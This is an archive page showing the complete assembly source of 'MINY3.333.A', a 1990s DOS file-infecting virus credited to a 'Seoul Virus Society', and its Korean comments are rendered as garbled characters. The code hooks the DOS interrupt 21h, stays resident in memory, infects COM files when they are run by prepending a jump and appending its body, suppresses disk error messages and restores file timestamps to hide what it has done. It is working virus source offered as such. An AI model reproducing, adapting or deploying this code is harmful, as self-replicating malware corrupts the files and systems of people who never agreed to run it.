home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KOREACOL.ZIP / MINY.ZIP / MINY3.ZIP / MY3-333.ASM < prev    next >
Assembly Source File  |  1996-08-12  |  7KB  |  231 lines
  1. ;******************************************************************************
  2. ;*                                                                            *
  3. ;*        MINY3.333.A Virus                                                   *
  4. ;*                                                                            *
  5. ;*    ╣A╕b: ¼ß╢ë ña╖í£ß»a ╡e╨s          ╣A╕b: 1995æe 01╢⌐ 27╖⌐ -  ╢⌐   ╖⌐     *
  6. ;*          Seoul Virus Society                                               *
  7. ;*                                                                            *
  8. ;******************************************************************************
  9.  
  10.  
  11.     VIRUS SEGMENT PARA 'VIRUS'
  12.           ASSUME  CS:VIRUS, DS:VIRUS
  13.  
  14.  PARASIZE      EQU     (YEnd_Virus - Entry + 0Fh) SHR 4
  15.  
  16.  Entry:
  17.           mov     BP,100h                    ; BP=ña╖í£ß»a »í╕b ║ü¡íêt
  18.           NOP
  19.           JMP     ChkVirinMEM                ; £æ ¼w║ü ╠a╦a¥í ╕±╧a
  20.           NOP
  21.  NewInt21:                                   ; ¼ü¥í╢à 21h ñσ ╖Ñ╚ߣ≤╦a
  22.           PushF
  23.           xchg   ah,al
  24.           cmp    al,4Bh                      ; »⌐╨ù╖Ñêa?
  25.           jnz    ChkAHF0
  26.           call   PushRES                     ; ╠a╖⌐ êq╡q ╤í┬ë
  27.  ChkAHF0:
  28.           cmp    AL,0F0h                     ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
  29.           jnz    OrgInt21
  30.           cmp    ah,33h
  31.           jnz    OrgInt21
  32.           PopF
  33.           xor    ax,ax                       ; áx╖aíe 0000╖i ò⌐¥a║æ
  34.           IRET
  35.  OrgInt21:                                   ; ╢Ñ£ü int 21¥í ╕±╧a
  36.           xchg    ah,al
  37.           PopF
  38.           db      0EAh
  39.  OldInt21 dd ?
  40.  
  41.  PushRES:
  42.           Push    ax                         ; ¥A╗í»a╚ß ╕ß╕w
  43.           Push    bx
  44.           Push    cx
  45.           Push    dx
  46.           Push    ds
  47.           Push    ES
  48.           Push    si
  49.  
  50.           mov     bx,ds                      ; Int 24h ƒi └a╗í╨eöa.
  51.           xor     ax,ax
  52.           mov     ds,ax
  53.           Push    DS:[0090h]
  54.           Push    DS:[0092h]
  55.           mov     word ptr DS:[0090h],offset NewInt24
  56.           mov     word ptr DS:[0092h],cs
  57.  
  58.           mov     ds,bx
  59.           MOV     AX,4301h                   ; ╖¬ïí/│aïí ¡ó¼≈╖a¥í ñaÄæ
  60.           xor     cx,cx
  61.           int     21h
  62.           jnc     Open_File
  63.           JMP     PopRES
  64.  Open_File:
  65.           mov     ax,3D02h                   ; ╠a╖⌐ ╡í╧e ╨aïí
  66.           Int     21h
  67.           jc      PopRES
  68.  
  69.           push    cs
  70.           pop     ds
  71.           xchg    bx,ax                      ; ╨àùi ┤Φïí
  72.  
  73.  Read_File:
  74.           mov     ah,3Fh                     ; ╖¬┤ß ùi╖íïí
  75.           mov     dx,offset Org4bytes
  76.           mov     si,dx
  77.           mov     cx,0004h
  78.           int     21h
  79.  
  80.  ChkEXEFile:
  81.           cmp     byte ptr ds:[SI],'M'       ; EXE ╠a╖⌐ ╖Ñêa?
  82.           jz      Close_File
  83.  
  84.  Infect_COM:
  85.           cmp     byte ptr DS:[SI+3],43h     ; êq╡q ╡aªü ╤┬╖Ñ
  86.           jz      Close_File
  87.  
  88.           mov     al,02h                     ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
  89.           call    AH42h
  90.  
  91.           cmp     ax,1234                    ; 1234 Ñíöa ╕b╖eêa?
  92.           jb      Close_File
  93.           cmp     ax,65000                   ; 65000 Ñíöa ╟eêa?
  94.           ja      Close_File
  95.  
  96.           Push    AX
  97.           add     AX,0100h
  98.           mov     word ptr DS:[Entry+1],ax   ; ña╖í£ß»a »í╕b╢ß├í
  99.           Pop     AX
  100.           sub     ax,0003                    ; JMP íw¥w ╣í╕b
  101.           mov     word ptr ds:[FileHead+1],ax
  102.           mov     byte ptr ds:[FileHead+3],43h
  103.  
  104.           mov     ax,5700h
  105.           Push    AX
  106.           Int     21h
  107.           Push    CX
  108.           Push    DX
  109.  
  110.           mov     ah,40h                     ; ña╖í£ß»a │aïí
  111.           xor     dx,dx
  112.           mov     cx, offset End_Virus
  113.           Int     21h
  114.  
  115.           mov     al,00h                     ; ╠a╖⌐╖ü └ß╖q╖a¥í ╖íò╖
  116.           call    AH42h
  117.  
  118.           mov     ah,40h                     ; ña╖í£ß»a │aïí
  119.           mov     dx, offset FileHead
  120.           mov     cx,0004h
  121.           Int     21h
  122.  
  123.           Pop     dx
  124.           Pop     CX
  125.           Pop     AX
  126.           Inc     AL                         ; 5701h
  127.           Int     21h
  128.  
  129.  Close_File:                                 ; ╠a╖⌐ öhïí
  130.           mov     ah,3eh
  131.           Int     21h
  132.  
  133.  PopRES:
  134.           xor     ax,ax
  135.           mov     ds,ax
  136.           POP     DS:[0092h]
  137.           POP     DS:[0090h]
  138.           Pop     si
  139.           Pop     ES
  140.           Pop     ds
  141.           Pop     dx
  142.           Pop     cx
  143.           Pop     bx
  144.           Pop     ax
  145.           RET
  146.  
  147.  ChkVirinMEM:
  148.           mov     AH,33h                     ; AX=F033h/Int 21h»í
  149.           mov     AL,0F0h                    ; AX=0 ╖ííe £æ╡A ña╖í£ß»a ╖╢╖q
  150.           xchg    ah,al
  151.           Int     21h                        ;
  152.           or      ax,ax                      ;
  153.           jz      Already_MEM                ;
  154.  
  155.           xor     bx,bx                      ; BX=0000
  156.           mov     ds,bx                      ; 0000:0084h Ñó¼a
  157.           mov     si,0083h
  158.           lea     DI,SS:[BP+OldInt21]
  159.           Inc     SI
  160.           cld
  161.           movsw
  162.           movsw
  163.  
  164.           Push    cs
  165.           Push    cs
  166.           Pop     ds
  167.           Pop     ax
  168.           mov     CX, PARASIZE               ; └a╗í╨i £æ ╟aïí
  169.           dec     ax
  170.           mov     ds,ax
  171.           Inc     BL                         ; BX=0001
  172.           cmp     byte ptr DS:[BX-1],'Z'     ;
  173.           jnz     Already_MEM
  174.  
  175.           sub     word ptr DS:[BX+02],CX     ;
  176.           sub     word ptr DS:[BX+11h],CX    ;
  177.           mov     ES,word ptr DS:[BX+11h]    ;
  178.  
  179.           Push    cs
  180.           Pop     ds
  181.  
  182.           mov     si,BP
  183.           xor     di,di
  184.           mov     cx, offset TEnd_Virus
  185.           repz    movsb
  186.  
  187.           mov     ds,cx                      ; Int 21h ƒi └a╗í╨eöa.
  188.           cli
  189.           mov     word ptr ds:[BX+85h],es
  190.           mov     word ptr ds:[BX+83h],offset NewInt21
  191.           sti
  192.  
  193.  Already_Mem:
  194.           mov     si,BP
  195.  
  196.           push    cs
  197.           pop     ds
  198.           push    cs                         ; ds=es
  199.           pop     es
  200.  
  201.  Re_COM:          ; COM ╠a╖⌐ »⌐╨ù╨aïí
  202.           add     si,offset Org4bytes        ; ╢Ñ£ü òA╖í╚ß╖ü êt èü╨aïí
  203.           mov     di,00FFh
  204.           Inc     di                         ; └ß╖q╖ü 4 ña╖í╦a Ñóèü
  205.           push    di
  206.           movsw
  207.           movsw
  208.           RET
  209.  
  210.  Org4bytes       db 90h,90h,0cdh,20h         ; ╢Ñ£ü 4 ña╖í╦a╖ü êt
  211.  
  212.  Ah42h:
  213.           mov     ah,42h
  214.           xor     cx,cx
  215.           xor     dx,dx
  216.           Int     21h
  217.           RET
  218.  NewInt24:        ; ╡A£ßêa Éa╗í ┤gëA╨eöa.
  219.           xor     al,al
  220.           IRET
  221.  
  222.           db      'Miny3'
  223.  
  224.  FileHead db     0E9h
  225.  End_VIRUS:
  226.           db  ?,?,?
  227.  TEnd_VIRUS:
  228.  
  229.    virus  ends
  230.     end Entry
  231.